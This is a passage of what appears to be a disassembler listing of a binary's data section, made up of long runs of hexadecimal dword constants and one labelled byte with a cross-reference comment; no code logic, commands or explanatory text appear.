4636F442h, 882099Ah, 0FA03186Dh dd 0CA425B2Ch, 0DDBAAD7Dh, 0BEA8D1E2h, 13EA377Dh, 6DCAC22Ah dd 0E5FD56D6h, 0E331E6FCh, 0D6C5BDF3h, 0F96DFE4Dh, 901A3828h dd 4B2B0AE4h, 0E25CC9Ah, 0D34ACD41h, 98888628h, 38E4E40Dh dd 15E4AF1Ch, 8EDFC95Ah, 6B1B3E97h, 417C7DC0h, 0B3C29714h dd 0EA3B983Dh, 0BA5B09EEh, 3FA2C573h, 40F954C9h, 3F29FBBCh dd 0B8F31E57h, 0BEBA896Dh, 0B3B127A6h, 2D0F79BAh, 0E3AC2AD8h dd 0A6299D8Eh, 8ADCC66h, 0B949490Ah, 213F6B88h, 96A6F1BAh dd 0D0B9E934h, 8B0206A7h, 403AD7C9h, 2D8EC917h, 0B0023293h dd 852E3C00h, 0C5A15B53h, 5F902F1Ch, 0C87DE63Ch, 0AF0609A5h dd 0D5BE3D55h, 1522F6D1h, 0B172D3C0h, 0F9267055h, 0F9F2B42Ch dd 41B7322Dh, 0C25D1C2Fh, 5D849235h, 612FA561h, 7793D021h dd 977E7D27h, 0E36D2FDDh, 3CD70552h, 0D1763A3Eh, 120BACF2h dd 0A704857Eh, 64E454E0h, 69148030h, 0EB0D8DDAh, 0A2D97B92h dd 8F43E907h, 140AC540h, 0EB4E4805h, 0D4FFB3A6h, 3B9194Ah dd 0D2D2292h, 26AC92C2h, 0B5B0377Eh, 0CFE371BEh, 41E6274Bh dd 0F051394h, 322F0E86h, 0C574E370h, 207A8207h, 0B35D484Bh dd 34392ABBh, 0BA05B781h dd 6CD83409h, 0DBE8B9Fh, 62ABD769h, 3A81642Fh, 3834C4A9h dd 0F66EFDECh, 3480C380h, 84E2E56Dh, 52F32A52h, 2583EE15h dd 568D902Fh, 0D48B34Eh, 57CA66BDh, 3FC29D54h, 0A45BB38Ah dd 4034ED3Ch, 4788AAD9h, 5F8CB4C3h, 9582AF82h, 0F349B4C2h dd 0C22CF43Bh, 0BC55DBFFh, 0B1261576h, 2E61D78Dh, 0CA8EB68Eh dd 0AFD4A13h, 60183B16h, 93F371B6h, 826BB010h, 2CD35F4h dd 0F3E85461h, 214EDB4Bh, 0C8ECD3FCh, 0BC4FCE9Ah, 0E937A45h dd 3D4780AEh, 1E352B71h, 0EE40481h, 9F3160B4h, 0D56F4854h dd 310232A3h, 3A85E589h, 8E4687Dh, 0E33897F4h, 0B89444DBh dd 0E30D058h, 0FC5CF46Fh, 7A5F4B70h, 6511AB80h, 0B4B782BCh dd 0F71EE1F4h, 0E9552514h, 0AD754B29h, 2B0EAA42h, 0C3D7AA5h dd 5CE0C0BDh, 44838322h, 36F7053Fh, 5BEA34AFh, 0DA60D791h dd 563A8A6Fh, 0FEE0BFD0h, 78A92274h, 3B5660E8h, 4B32FF49h dd 5D6A9CABh, 94A6E7Bh, 64D5C0D2h, 0E7500CCBh, 0B49FC832h dd 672630Eh, 531DF5D1h, 8CD2571Ah, 346DF397h, 72630318h dd 0CB62A4F5h, 0DA122EF4h, 0D9B1633Dh, 0A6129E5Eh, 97E64704h dd 0A8A2AB46h, 0D71D585Fh, 1DB95AD9h, 90DAD54Fh, 4E80F04Ch dd 2F8F3BD0h, 5C1F1813h, 99A01787h, 0D991329Eh, 2664D03Fh dd 0D03657D5h, 333A8AE9h, 1EDBE3B4h, 0F6251213h, 4166E907h dd 0E133E0Dh, 0D7B6CA16h, 107A8591h, 856CD035h, 19B09B1Fh dd 6886283Bh, 42B4F012h, 0C2B35244h, 0B3D7E9BCh, 0FDA514F3h dd 0EB100E91h, 365169D9h, 0B3422F88h, 8C2C3303h, 0A84E7194h dd 2AFBD16Dh, 0DBE6BC18h, 0C3165E95h, 3EADC67Bh, 0A46D070Dh dd 0E940867h, 20A6A564h, 8BE1B42Ch, 53660E72h, 6828B684h dd 857C9325h, 0BC4C2526h, 0D04AB2C5h, 0D3DBEC49h, 12E52566h dd 839D58D8h, 0E39E4BECh, 0D616AFF8h, 90FF2040h db 0BFh, 10h, 51h byte_53525F db 6Eh ; DATA XREF: .data:off_4EDD08o dd 167A9C00h, 0DD17A61Eh, 3CACA51Eh, 8852AD57h, 0F74A9BBBh dd 92CC7D4Bh, 2355C1CCh, 1B958F7Bh, 8DB4FC5Dh, 0AE02706Dh dd 0CEB2BB58h, 5B39556Fh, 61DF82EAh, 1CEA3093h, 5A9FE4FBh dd 0B80305C1h, 0EA8FF4ECh, 0FB005914h, 871B9106h, 0F87052F6h dd 0E229B2FAh, 0BA74F835h, 828B12A5h, 0EE50E33h, 564A5AC2h dd 0E6BF891h, 172CAD52h, 0FDD9CD84h, 22109353h, 0B9F28DFDh dd 0ACE081BEh, 69F5C7E9h, 0F85E13D0h, 7673FF99h, 5DD26FAFh dd 8FAF1898h, 48C697Eh, 96DC1BCh, 0FCF4F14h, 0D2D76153h dd 72BF41A8h, 5FC7200Ah, 0AA08F2F8h, 6E0B60C6h, 39AA9DFh dd 9B7DBCh, 0FAC8041Dh, 73DBB1A9h, 223A6AE1h, 40B46911h dd 0BCEEAAF8h, 2143A477h, 6AAD68CEh, 538D4F2h, 0DB56387Ch dd 4D186EAEh, 0A8F39F8h, 86229B14h, 640D9D00h, 0C55F7DF7h dd 0D4B5ABEFh, 0A5DEC1B6h, 87184B7Bh, 0FB57FA4Ah, 4F70ED21h dd 41D9BFC8h, 3EA5F72Ch, 0BE26DA0Ah, 58CC9107h, 0D8CA42D3h dd 0A00B3522h, 3486E945h, 3FB92A89h, 553064F1h, 7D4E85B8h dd 866CABDFh, 95D3462h, 0FF8692Fh, 4F0D97F2h, 39729811h dd 92FA8AECh, 0FD3C744Ah, 9DC11033h, 2863D61Dh, 0A3049CEBh dd 210B014h, 0B715F000h, 2BAC4BA7h, 61C1F574h, 30B3061Dh dd 3094C6Bh, 5E61C1F6h, 1AB7688Ah, 9A12DACBh, 22C7E8A6h dd 4E3F93BAh, 0A13C146Eh, 0CB4171FBh, 7C458C29h, 4EC58B90h dd 734B8800h, 0C32EDE6Ch, 916D98FBh, 92D9BF50h, 9FD7328h dd 17673F4Ch, 8CE43C03h, 72B8EB4Fh, 8AAC090h, 0DE8DE94Ah dd 0F609EA36h, 0D55DC9Ah, 651F8C27h, 24733B55h, 0FFF3216Eh dd 3A349549h, 2BA0472Ah, 60F9F067h, 40401A94h, 5B85CDB9h dd 1CCEBDD3h, 44D18385h, 348E019Ah, 547085E4h, 0F44B5B77h dd 3F32DA5Ch, 3B47B1A6h, 87F46F35h, 0F9B8E0Bh, 0C63126AFh dd 6B653F38h, 25991868h, 349373C0h, 2F3D1AD0h, 75131E6Ch dd 0E5882885h, 2447EEA0h, 0E68A01DDh, 5B8C5813h, 23597ADFh dd 4CF5E5A6h, 7C87094Ch, 94C2972Ch, 270CBD06h, 0A8648FB8h dd 0C0B440FBh, 0BB2C2119h, 97EE9225h, 856B57A5h, 94C49689h dd 91F6CB6Ch, 0CCE4590Eh, 7F840586h, 149E7959h, 2BAD86A5h dd 0B556B5C3h, 14AD2DAFh, 5DDB2659h, 971F2C7Fh, 26865CB7h dd 7DF2D2h, 4C3FD4BAh, 0D84FB288h, 0ED8E49B2h, 138D4B8Dh dd 0E964B5Fh, 0B0B966B1h, 0F81B3A8Bh, 4E9D8343h, 856F1286h dd 12AE9641h, 90530B3Dh, 1BDA962Bh, 371CDF2Eh, 0B9D78E6Ah dd 0D4CC9353h, 0F29AA4F3h, 449C55C7h, 5EE16F60h, 1C18778Ah dd 12BDB32Dh, 0E47A7BD1h, 7F99DA0Bh, 7C33E0B7h, 8737B520h dd 62340BD9h, 0DB13C339h, 0CAA0AAA3h, 7610E6D2h, 0DB0DCDB1h dd 8C16A019h, 7894A516h, 39D6431Ch, 702C4BBDh, 921DFE35h dd 0ADFB6546h, 826CA7ABh, 0A8CCA833h, 5E1C10A4h, 0CCA27DCDh dd 0E72E5D45h, 0B04B5EE7h, 0DCA32949h, 93D15DD0h, 6C2D86D3h dd 0E71BEF67h, 16DC6EF6h, 4C130E24h, 0DE4DB4A0h, 0B7D795BEh dd 5FD86F25h, 68788DB1h, 0F9ED0D1h, 7DCB8406h, 827F3639h dd 302A89B3h, 27005EBAh, 63B92715h, 0C0F5BECEh, 1E8BC51Ch dd 0B35EF1FBh, 0EEC081ABh, 7357F91Eh, 0C499B7CDh, 295EA351h dd 0D6B710A1h, 0CD66606h, 9F391850h, 1A7F05F5h, 0CDE0044Ch dd 0A7DA00B0h, 0F40CB122h, 0DBB676CAh, 19CA09A7h, 38533CCEh dd 0F6E7F7ABh, 4DA1E64h, 1F3935CDh, 88351945h, 0F0C8B6BEh dd 0FB11300Ch, 0A9D6B35Dh, 0F9D8BB0h, 4D67A67Ah, 6228D8CEh dd 4F2382F3h, 6AE9CBFCh, 0F4749FEDh, 0F3C14C46h, 66492176h dd 84BFAAC9h, 0A471681Dh, 0EC41B4B8h, 2E7F25C1h, 0F215D67h dd 0B8D27AD2h, 0A7F5E232h, 0C58EB475h, 914A6DCFh, 99E306F7h dd 68314891h, 386400F8h, 0CB5943CBh, 6E2F0B6Fh, 8387DE44h dd 4429515Ah, 0C64CFB5Dh, 70C0CE73h, 87EC4EEDh, 894BD7B4h dd 525693C5h, 99C9B01Ah, 0BA78A7A7h, 5178C812h, 7406EC80h dd 312D620Eh, 5588FE5h, 99B17C37h, 83E7C31Fh, 1B0F3BD0h dd 4126F3B5h, 416F95A5h, 0B93D188Fh, 0B0ABB9Ch, 0B29705AFh dd 517B04BDh, 0E3FECDF2h, 0D8965018h, 818BD6A5h, 7627FB94h dd 0A1C745F4h, 83B066B0h, 642DDED4h, 13382CE6h, 6E5599D8h dd 0A5A7D9CAh, 0DCD0D0C8h, 29BD6709h, 5CAC5E7h, 97291DB0h dd 21A1A2DCh, 378224D6h, 0AC4D61FCh, 0B00FB26Eh, 1F7AAF41h dd 81E75B62h, 43D67332h, 9D7A8796h, 92123D47h, 47001F21h dd 3D1FDD80h, 0F3029CC8h, 43C429FFh, 8587E898h, 9B6D21D7h dd 4CF77789h, 3F42816Ah, 0C1B80A86h, 48A2463h, 0A2133187h dd 10A4A9C8h, 8768666Bh, 3657D3E6h, 78295E87h, 18ABC731h dd 0D26098E4h, 1E2D6CE3h, 1CF8356Ah, 612DEDB3h, 5C47F9F7h dd 246C445Dh, 0C691177Ch, 0EA76BF6Ah, 4BC2A543h, 876813D0h dd 1CCD085Bh, 797DD20Dh, 0BEEFCA64h, 0C8B74684h, 343CE430h dd 67D4DCBh, 0F05754B2h, 0A3DB50D0h, 8ABE7C09h, 6AB7CC90h dd 175C9E5Bh, 1ACB4EF4h, 7320E96Fh, 0BB37594Ch, 0E78DD9E3h dd 0CFAEEC5Eh, 33716EABh, 0AAA315B4h, 0C8ECFBD1h, 482EEB21h dd 11A3A0AAh, 8B26AB2Ch, 0EF93FCCCh, 0CE9D2788h, 527A75D7h dd 7E7F6BEFh, 444AD90Bh, 58BEC836h, 9ECAA285h, 0AED4D51Ah dd 0F09FCD2Ah, 31365BF9h, 972FAC5Ah, 3E410DCEh, 15577777h dd 6EF1FBB5h, 0F5AEB87h, 75A3F7DAh, 5A583038h, 20115A7Fh dd 7C10C235h, 0DA6EED2h, 3B435E57h, 4BAC110Eh, 52A35ADFh dd 4984222h, 28F1317Eh, 407F2B66h, 1D5CCDE5h, 0DD9A5257h dd 139AFC9Ah, 98E76469h, 4346BB0Ch, 365E981Ch, 0B6D0757Ch dd 6E251B45h, 0B1218442h, 779B1533h, 7967355Eh, 0A9F0E938h dd 62BEBD56h, 0EEBD1937h, 0B3F609BEh, 18DD5FD9h, 4F8BCC8Ah dd 948F17EBh, 0E83B6603h, 504168A7h, 9DAF0818h, 11D33D90h dd 0CF208A5Ah, 61787AC1h, 1E013058h, 0FEF4A081h, 0C00C11B8h dd 806D6109h, 0CBF9F740h, 0F69F75BCh, 0A4C1507Eh, 13D27E3Fh dd 96216B9h, 0DDDD78F9h, 612E06EEh, 5672B087h, 0FFD89428h dd 93A086F4h, 0DC198C92h, 0F506A97Bh, 6BEF18E3h, 950C8815h dd 9F73477Fh, 83A213Fh, 1365B15Ch, 2E8FD285h, 0BFF8122Eh dd 264A996Dh, 96362E89h, 3E74926Dh, 59619A10h, 91FA1269h dd 8EF6F474h, 9CB22A95h, 34EF8E90h, 727DB053h, 814A404Fh dd 7343835Ah, 27BFE117h, 0B5C17F20h, 7A1FDDA6h, 9946D3D8h dd 87FFD756h, 0D5DB7D86h, 433423D5h, 91B1199Bh, 0E4B73468h dd 3CB443A0h, 2AE95429h, 152DEE57h, 0C40F2590h, 820B55D3h dd 0E393188Bh, 0B87D5CD1h, 585C8D7Ah, 0A6E3E1CBh, 0FB1CBEF7h dd 13021C09h, 0F0EB5F4Ch, 0D1CC68C3h, 2B1AD55Eh, 31BBD1EBh dd 7EBFD8F6h, 818C17C3h, 31FC07C4h, 87E1EA0Ah, 0C4BD52E1h dd 0BAA3A6F6h, 13101D4Fh, 0B3B95364h, 2492C1C3h, 55424790h dd 0BEB557F0h, 86D34D16h, 3B732C5h, 31955949h, 2D24673h dd 12095B3Bh, 0D3C98090h, 9CDC1195h, 7DE29A3Ch, 2C2F020Eh dd 2D984239h, 0FED7079Dh, 0ABE9519h, 0EB7AC539h, 3991C7EEh dd 0DD974328h, 36F9C318h, 77A45DD6h, 688468F8h, 7B72D363h dd 4051565Eh, 33F28CDCh, 88D18C15h, 0E3802E3Eh, 54121A4Eh dd 0D7E13D5Fh, 0D1DA9B86h, 7F04F1C2h, 6F7C756Bh, 245061EEh dd 3B0868B0h, 0E8CBA46Fh, 392C2201h, 0CF21A46Ah, 67D632D4h dd 4B139AE3h, 52B53D4Bh dd 1C0A0262h, 2C04D3F7h, 4C9A1402h, 4F5F95EDh, 99F27BF7h dd 3FDB2A5Ah, 0CE4D04DDh, 8895A4EEh, 2CA20C26h, 0E7E19A2Ch dd 4869CE26h, 0BE774B1Ch, 0B5B9C76Bh, 7C062822h, 3B983D0Bh dd 0D5925D61h, 258727E0h, 1FD50DFCh, 346251F0h, 34040251h dd 0D76491DBh, 1FEA2D10h, 3976E2C4h, 9E2CE21Ah, 31E80612h dd 3F0BB668h, 4C1C5F05h, 0C3E6E527h, 417EBCA8h, 0F79D3684h dd 0F6C93406h, 43381254h, 0C9DC61D1h, 0B156FD48h, 0FA788EACh dd 4216F656h, 6D3A0212h, 0C6047771h, 3B5D029Ch, 0B3589825h dd 0AC315EF3h, 373DE26Eh, 983C49CDh, 721895BDh, 2DB14280h dd 26F2785Eh, 9AF20083h, 0A38893E2h, 5DD52576h, 5B2233ABh dd 0C30020D5h, 66896F48h, 0C8B4D093h, 3C2682D9h, 0DA9C1E7Eh dd 99100E96h, 4FDED6E3h, 6218AD34h, 9CCE608Dh, 182AEFF2h dd 94E47B2Bh, 0DFDBF21Dh, 24DBAFD1h, 7DCC886h, 0FA74E090h dd 0AC41F254h, 38936BD9h, 0FE7A7B95h, 0A312D04Ch, 0A142C763h dd 0F337D15Ch, 0F09EAA82h, 3856C1Ch, 0EFDCA2C3h, 70FA51ECh dd 0CF1B3537h, 60FDB9E7h, 304735A3h, 0B188626Dh, 0ADAB2F2Fh dd 0CDEB1950h, 66EB84D9h, 84DF83D8h, 601457EDh, 0A52D6B9Fh dd 0F5C4DC36h, 0DFDB293Eh, 0BDC135BEh, 71B3688h, 0D63C59B3h dd 6E0CF198h, 1AA023F3h, 5DE70C7h, 54DA5A7h, 23B508Ch dd 0C8308D2Ah, 26C8BEFDh, 9074C96Ch, 77888EDBh, 46B50F86h dd 0F291A77Ah, 9E0694A2h, 0D94D2F8Ah, 0D496D766h, 1FE4DDCCh dd 464E9956h, 114DDFBAh, 6C54F2F1h, 51DEC08Ah, 0F06E3605h dd 7324EA34h, 469A89AEh, 0C7D781D7h, 0C53FB277h, 0DEBE366Dh dd 0F518AE5Bh, 0CF0E481Ch, 6CBBF9E6h, 0BBD8822h, 0F663A745h dd 88E076h, 0C7CCDC5Ah, 7729FC4Eh, 62372210h, 9A3CCA9h dd 0CF4AF9D3h, 70AE6205h, 0A5BA72D4h, 78E77235h, 6B8A805Bh dd 23EF3F91h, 2F6C9B61h, 2C5FFDA7h, 2E3C074Ch, 0E2E59A00h dd 42D30373h, 0ED4D7Dh, 0BD5619Dh, 85AE368Dh, 0E2F9D36Ch dd 4E3C40F7h, 0F3FBE99Eh, 980036F7h, 7AEC7FFBh, 0B6A0081Dh dd 19F98772h, 0E8CE99E8h, 9B708E72h, 0AD7990CBh, 0F37937E0h dd 0D293DEh, 0D5A6E714h, 0D8B10A97h, 0F26C4AC7h, 0ECFC0E5Eh dd 0DC29456Dh, 9C421F45h, 1FEBF685h, 0C93174h, 0CC63FFAFh dd 0EE55D5BBh, 25AF33ACh, 26C5A170h, 689F6FC0h, 0D09B108Ch dd 5341B0E4h, 0A776F416h, 210D14BBh, 5CEC9EC5h, 0DBB94841h dd 0C47C4728h, 0D53C9A6Eh, 95457944h, 0B0E33DC5h, 36B84F6Eh dd 0E26F25C7h, 0D6AB7F8Dh, 7B4989CEh, 0AE6B1611h, 0D794B249h dd 34D3AAAEh, 0FE85E3DBh, 803E3255h, 66666177h, 9B08C5D0h dd 39CE7E05h, 94FF655Dh, 9391E6FBh, 8A27F63h, 76C2D3A7h dd 0DBC42473h, 0C40A39CDh, 0C286670Ah, 406D9449h, 9FB11123h dd 0A5284A10h, 14FC59E5h, 6C3F1ACh, 57ABD965h, 5F62B244h dd 472E51B9h, 0F83C1F8h, 2FE537C4h, 0BECB6819h, 0D818141h dd 0F3C06D9Fh, 10D4FFEEh, 0E90D1B61h, 107E390Dh, 7F400F55h dd 127E199Eh, 902DB8F4h, 0A644720Bh, 0C99CB65h, 5A764F42h dd 76708D5Ch, 0DFBE0AF5h, 0D83D90BAh, 52BAE5B1h, 957FA82h dd 0B49B183Eh, 91DBD232h, 8EFB6EFAh, 8267D7F7h, 89F79633h dd 0CEAE532Ch, 0C45B3801h, 2F34CB8Eh, 8A956752h, 0BA4BE5DAh dd 0A1FA71A9h, 0C798410Eh, 7F4C304Dh, 4DF76E1Ch, 0B0A51D8Ch dd 0BD87CDD7h, 6BB693D0h, 2B3DADCBh, 0E8BD1EBAh, 217063C5h dd 65C75CC4h, 37A80190h, 24CA203Bh, 0F2D05C3Ch, 792B62BBh dd 67B649Eh, 0FAC8377Dh, 69344921h, 74292DE9h, 0EABBF628h dd 0A5E6C3Ah, 7B7447D8h, 9C02397Ch, 0E6020129h, 377FD9F7h dd 0FA445315h, 0CD860436h, 0CFA3C68Eh, 30AAFA6h, 22A5CF36h dd 0CEF04600h, 0AC4E0CEh, 8DD30F03h, 3420E4EAh, 0B7FC4813h dd 59E94B20h, 0DEF04A78h, 95D625E7h, 0C5F4D120h, 0B02FF0FFh dd 0B3FF537Dh, 74548047h, 88CE3049h, 5182B6E3h, 1E880DCAh dd 0E0834830h, 0A4DEFB84h, 1821DECFh, 0D6BE6EF9h, 52828A61h dd 5168444Ah, 75AEE558h, 0F2BD901h, 0FB96246Bh, 756DCEE9h dd 7BE49473h, 0E1733080h, 0D70BFCF8h, 0F96E4D09h, 0BBC6CD63h dd 4C513A8Dh, 8A6263Fh, 7A1F22Dh, 5D4EF2EFh, 0AB9AED63h dd 22D4AFD9h, 3B6131B3h, 0A1C24AC5h, 9742CC01h, 8072D871h dd 612A880h, 0EE75DABh, 8166945Eh, 9F3A6512h, 793EDD11h dd 0B970DCD0h, 1A24376Bh, 4851A2ABh, 0F215C180h, 743CDC4h dd 45D61CF3h, 0EFAD4398h, 0D4C0C081h, 8DE6F94Fh, 19AE4532h dd 0B841CF49h, 0BA675938h, 69AD839Eh, 13B8DD67h, 794B816Ah dd 40BD3F39h, 0EBF6D3FCh, 7704A14Ah, 0C965143Eh, 907D2B39h dd 0C1E77CEFh, 0A17F97D2h, 0C52E3A24h, 50E11183h, 41A4EECDh dd 9851FD4Ch, 0B54FD8E7h, 5F25B47Ch, 76AC1AD2h, 0F8E5A022h dd 43AAF9BDh, 0FB6F2CECh, 914A81DDh, 0ACDA31ADh, 0FE679264h dd 562BB489h, 9AECC705h, 418F7111h, 0EDB7B760h, 92B20A5h dd 0EE6AC958h, 0AA9B523Dh, 0DF838F05h, 0B66B85ECh, 0D98B54ACh dd 35E04D14h, 52E24F5Bh, 38B74D49h, 77EC6D94h, 0AD3DB252h dd 0A60A599h, 12C50CD3h, 0CFBCE82Eh, 79955A45h, 9878A267h dd 51DEF338h, 46FA22BAh, 0D090D604h, 3518CDACh, 38EAFE7Fh dd 48F62F39h, 0AA74C6C5h, 80370916h, 96710F27h, 0DBAA6E8Eh dd 415FEE65h, 2F2510DBh, 7C33B3B7h, 51BAC471h, 0EBFF8ACAh dd 0A34C45B6h, 0DA1B6364h, 73769DB3h, 0A33A17EBh, 1A0AA94Dh dd 0C733A54Ch, 0EDABC3BAh, 63D30C08h, 38220D03h, 0F36FAACEh dd 2858E225h, 762C9621h, 302CF1EFh, 0B1A9362Ch, 0EE74C70Eh dd 0C4252989h, 64408889h, 0CB233252h, 4D78C43Dh, 2FC58352h dd 4D781B13h, 166F1FC6h, 0DED09B9Dh, 0B6ED8014h, 0B4F59624h dd 7CE99128h, 0BAB58517h, 0D1BF4349h, 0FBC2B758h, 68880029h dd 7449DD30h, 0F50C9BC9h, 0C26A86A5h, 542C3EDAh, 11643BBDh dd 5833D5BBh, 5E8FED5Bh, 0CCD539A8h, 0BE20B485h, 0A2F84D2Ch dd 0BE09F267h, 21213CDBh, 0A8F1EC73h, 5E48CC15h, 0EF099859h dd 1242DF76h, 0BD855D29h, 0B82E097Fh, 0F4B73A11h, 33F1ECF9h dd 1728C5CCh, 0AAD95BA6h, 3928AC80h, 89B81D43h, 4E9C572Bh dd 2AA95054h, 0FCFCE6CCh, 3FADE02Fh, 0C9313C21h, 547FB36Bh dd 35C34DD6h, 0CEA7696Bh, 5BA083CEh, 0C0951074h, 59C3C44Dh dd 1BEE7169h, 5A8455E6h, 69D50A46h, 79F66D5h, 0EEEB2E7Fh dd 62C5A490h, 18B0B586h, 0E2CE5BDEh, 0B258E1B9h, 0B4C64C60h dd 0E68BCC5h, 746E3h, 9351C9CEh, 28253DFDh, 6B3C12A4h dd 3462B171h, 593AD2C6h, 5C2C3E1Bh, 1B4C1D04h, 673B622Ch dd 0ED49467Fh, 0E7E611D6h, 6405C69Dh, 0BCE7D509h, 1EFF5DCFh dd 6A388E44h, 82C8634Fh, 10691A02h, 32347464h, 1804960Eh dd 7FBFB879h, 48077653h, 8988EC49h, 43BAA597h, 42EA843Dh dd 0CE46344Bh, 0F8EEBCA3h, 448164E9h, 0F5850C17h, 0BA692702h dd 313C35DDh, 0F9EB0E6h, 2DD30939h, 6707C5CBh, 8608A3C0h dd 58312257h, 3B55DE85h, 0B876D82Fh, 39E441BDh, 0A39F75AAh dd 26B52B2Dh, 11A9E3E1h, 755791DBh, 5B824DC8h, 47C9E5A1h dd 71B7D781h, 0A09F28F4h, 39366F60h, 7C1BCACDh, 54E5C2F8h dd 0A3F300FAh, 0F362B6Ch, 77E66F59h, 9AD6B169h, 5B405F07h dd 780EC94h, 4021559Bh, 0AB889B78h, 0FB9D5EEFh, 0FC2E3318h dd 0A16440C2h, 5D19F07Eh dd 74A81EDEh, 0A4C574A9h, 135D909Eh, 688088A1h, 0A1E62DF1h dd 9A54490Ch, 0D9CF2F76h, 0D3342327h, 88746B7Ah, 0C081E264h dd 0FE895716h, 0D690A618h, 0C29509F8h, 107A5702h, 4434667Eh dd 0D01D3087h, 54861162h, 10D196A2h, 7E1829E8h, 0BA71BC7Bh dd 4B484888h, 64E305D2h, 1F8DC8Eh, 0F4B6F726h, 9C9AECFEh dd 0F00EEAAAh, 0B039E02Ch, 0FA4CE592h, 4605DEFEh, 31C118Fh dd 4CE0A880h, 151F2AD4h, 0A83B92BCh, 91C7F15h, 99F43575h dd 1AA5A0CCh, 0A1802883h, 705E929Ch, 927382E5h, 5496C4C7h dd 46BA7911h, 72CAE262h, 8FB2081Eh, 0CCD67DC2h, 74F1C7AEh dd 68975149h, 41D10E03h, 0C5B50A03h, 79356F8Ah, 56A79B99h dd 99315F00h, 646300E3h, 1424BF0Eh, 7B998095h, 0D54B5198h dd 0D549D995h, 0DDF4CDFBh, 650D13A6h, 5B742733h, 1999BAD0h dd 0C549C768h, 0D1F01F0Bh, 9C814D3Ah, 3D038FA9h, 1A7C741Ah dd 0A2B04E12h, 3A1277FFh, 2B83D7Bh, 46544C45h, 6455249Bh dd 4B7A30C9h, 0BA9CEAFFh, 0A62F00A8h, 0CD7F5539h, 8AEFF91Dh dd 25343DC9h, 0CACAC2FBh, 70A8E014h, 84A25476h, 0D11858h dd 2773BD80h, 0AEE55B79h, 0EA49915Ch, 68A04AABh, 81554616h dd 0AA67F09Eh, 5E3D5F3Ch, 54673A8Fh, 73571BB9h, 71DEAC25h dd 0FE52E863h, 500515Dh, 0C3D8DCBDh, 3DEEAAD2h, 0FB640C8Ah dd 22B32B2h, 41F6D9FBh, 0CDD19601h, 0A02CF687h, 6124702Dh dd 1D4F530Dh, 0BB000534h, 706FF2ADh, 1B2CBCACh, 22F674DCh dd 6014DA34h, 51065B94h, 5A35D12Fh, 4C1E6D37h, 23B7EB4h dd 31E15A1Bh, 81D053D0h, 60F9BC93h, 1699A644h, 57F3AD97h dd 567D2B51h, 0F81D9CEAh, 0F98241CBh, 10C92686h, 3A6AFFB5h dd 0F66D2A42h, 7E690F5Dh, 700665C2h, 0CA9C7FE4h, 8DAAACDEh dd 45AE4F50h, 21E5BFBBh, 65F21F8Fh, 62EC4D5h, 0F3FECD98h dd 7C092180h, 1DDA3A30h, 0CC69A2E4h, 7EEC532h, 2892376Fh dd 15682853h, 0DE01B57Bh, 0C4E8F6D3h, 8B8C60B7h, 33B3E47Dh dd 0DF286090h, 2FD9CE54h, 0C50457A0h, 0D46B2571h, 1820DD9Ch dd 34BD5584h, 8E313A40h, 445EF88Dh, 53FC3069h, 0D3376910h dd 50884D81h, 5F87806Fh, 0C2BB8332h, 0CF331996h, 73464CF8h dd 2A8EA7C7h, 18873B09h, 8836F6EBh, 5296845Ch, 0C77BD775h dd 2FB8D872h, 0F33131BFh, 8FFF8A64h, 46FA0EF1h, 0A1B4A070h dd 6FA55C66h, 705A73DDh, 278CC71Bh, 515D7EFDh, 621C7B8Ah dd 5FBDF752h, 0C40B393Dh, 0CD0EBA24h, 83810C55h, 1D141CA3h dd 2EB8FD9Fh, 0B8091CFh, 0A09BC1FCh, 7216DE3Ah, 0A24E97F4h dd 0B3710Dh, 8090F8F7h, 309A67B1h, 6DCBDF01h, 7CD95197h dd 0D37A6659h, 0C923D14Ch, 0B478D584h, 94AEBFF7h, 649B66ADh dd 0B24314C2h, 1B4B9464h, 0D8128BFAh, 0F2429706h, 0DE4C4E38h dd 6220BC2Eh, 912D1DB7h, 0A7838E24h, 459D963Dh, 6750E744h dd 49FC2C1Fh, 0C9B1550Ah, 26B4D2A2h, 0B5596EC7h, 6B388822h dd 40B8FA25h, 41BAE2BAh, 4081FA59h, 60ABA649h, 98A4DF19h dd 6DD8D791h, 0AC8A9E52h, 0AA1C9369h, 3B8611BAh, 38CAE26h dd 93A5D3F3h, 8C99A85h, 7E5E2E0Dh, 0E2A372B2h, 495B2FB9h dd 35DB280Ch, 83040DA6h, 3A378E4Eh, 8BA65910h, 202398ECh dd 7AB3391Bh, 0A31DE8Eh, 0F26EC34Ah, 8A3711E7h, 781E2573h dd 208F8EADh, 45191484h, 27B91986h, 98CACBD4h, 9A40CA3Dh dd 3F3FE597h, 0F9E2207Fh, 0D244F16Eh, 5003EF7h, 0E23A1572h dd 0AAB296h, 73F8569Ch, 1844AB6Bh, 7F3E1F37h, 79DF387Ch dd 0FF3D4FC2h, 774DF8DDh, 861A897Bh, 9BBA6D54h, 7A26690h dd 39E325ECh, 884796DAh, 0D2F6206Ah, 8769DE32h, 0E0C93168h dd 92564940h, 252D0710h, 0B5248086h, 9CB54B76h, 0E3BBBC80h dd 6138F2B8h, 0B9D3F0DFh, 0A8553A95h, 0BB2C6DCDh, 78843120h dd 4D7210A2h, 0FCEC7886h, 2CF4F338h, 0E6DE71CFh, 300D4AF1h dd 115D8B7Bh, 66F54DCBh, 55131AF6h, 0BEDEFF32h, 32000E60h dd 9E89A566h, 1ADC5884h, 447D15ADh, 1151F253h, 0D6A99480h dd 0C342DCE2h, 0EBDBAAE9h, 0CB1419E3h, 3C274E7Bh, 0E09FA89Fh dd 0C33D64Bh, 0A1B90F07h, 5BE2C8A6h, 0F713A6F3h, 29527027h dd 17DB2EA7h, 4298A094h, 454DA843h, 0A1792398h, 51DE7185h dd 3EBAFBAh, 3A702449h, 0A7E45050h, 864D089Ch, 6DCAA9B2h dd 0CD578D83h, 0E5D64035h, 0D184005Bh, 891BFE84h, 0C6FD417Bh dd 95F54AD4h, 12FC7054h, 75A5E683h, 50B11778h, 0B7DD475Fh dd 3E646AB2h, 497FAED8h, 69753E58h, 1F3CEA3h, 9CD949C6h dd 0A3559172h, 0DE96B7B5h, 1008AC8Ch, 33A3C0C0h, 4986C5E6h dd 5EEC819Ah, 7A68C039h, 0F01A1683h, 0B25B31F7h, 36B8A44Ah dd 0ECAC9183h, 7484CC57h, 0D496CE4Fh, 81BB570Bh, 36DE2CFh dd 1E3D8C5h, 0A2BDBA2h, 87DC04F7h, 0A629E5h, 99C33E81h dd 14BDBC86h, 9EF74DFDh, 9FAF3E6Dh, 0AC7DD05Ah, 8A691325h dd 0DB21AF26h, 64F754C7h, 0EB13DE34h, 20A3B801h, 0D2B4926Eh dd 9577935Eh, 10C72493h, 8EDC4714h, 260990E0h, 4B7B6E5Fh dd 